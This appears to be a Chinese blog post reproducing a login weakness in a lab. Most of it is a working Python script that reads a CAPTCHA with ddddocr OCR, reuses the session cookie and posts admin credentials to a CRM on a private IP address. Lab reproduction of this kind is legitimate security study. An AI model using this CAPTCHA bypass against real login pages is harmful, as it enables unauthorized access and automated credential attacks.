Python登录漏洞复现

Python登录漏洞复现

3.1 环境准备

1)升级pip

python 复制代码
pip install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple

2)安装ddddocr图形识别库

python 复制代码
pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple

3)安装requests网络请求库

python 复制代码
pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple

4)安装辅助命令

python 复制代码
pip uninstall -y Pillow
pip install Pillow==9.5.0 -i https://pypi.tuna.tsinghua.edu.cn/simple

3.2 python识别验证码

python 复制代码
# 注意:验证码的session需要与登录的session一致,不然不匹配
import ddddocr
import requests

# 1)创建ocr连接对象
ocr = ddddocr.DdddOcr()

# 2)获取图片内容
resp = requests.get("http://192.168.190.133/crm/php/verifyCode.php")
image = resp.content

# 3)获取sessionId
cookie = resp.headers['Set-Cookie'].split(";")[0]

# 4)获取验证码
str = ocr.classification(image)

# 5)发送登录请求时,添加请求头,将PHPSESSID放到请求头中
head={'Cookie':cookie}
url = "http://192.168.190.133/crm/php/login.php?username=admin&password=123456&code="+str
data = {"account":"admin","password":"123456","authcode":str}
resps = requests.post(url,headers=head,data=data)
print(resps.text)
相关推荐
码哥DFS8 分钟前
构造函数、实例对象、对象原型 ----三者关系
开发语言·javascript·原型模式
Python大数据分析@24 分钟前
使用大模型MCP采集数据,爬虫已经无门槛
python·网络爬虫
quantdash_cc37 分钟前
告别自建 Requests/BS4 网页爬虫:基于 QuantDash 搭建零维保的高性能量化行情流水线
开发语言·爬虫·python·pandas·量化·quantdash
ydd10010044 分钟前
寻找两个正序数组的中位数 Java 题解,二分分割详解
java·开发语言
65岁退休Coder1 小时前
LangChain v1.3.4 笔记 - 07 补充:链式调用 LCEL
后端·python·langchain
卷无止境1 小时前
FastAPI 部署在 Nginx 后面到底该怎么配
后端·python
半亩码田1 小时前
C#转Python第3.1篇:Python 的 class 没有访问修饰符?面向对象的另一条路
开发语言·python·c#
Wzx1980122 小时前
python沙箱和docker沙箱你选对了吗?
开发语言·python·docker
Python私教2 小时前
签名 URL 刷新导致审批失效?别急着删掉所有 query
python·安全
牧羊人.3332 小时前
Python 办公自动化从入门到入土|09 数据容器之字典
开发语言·python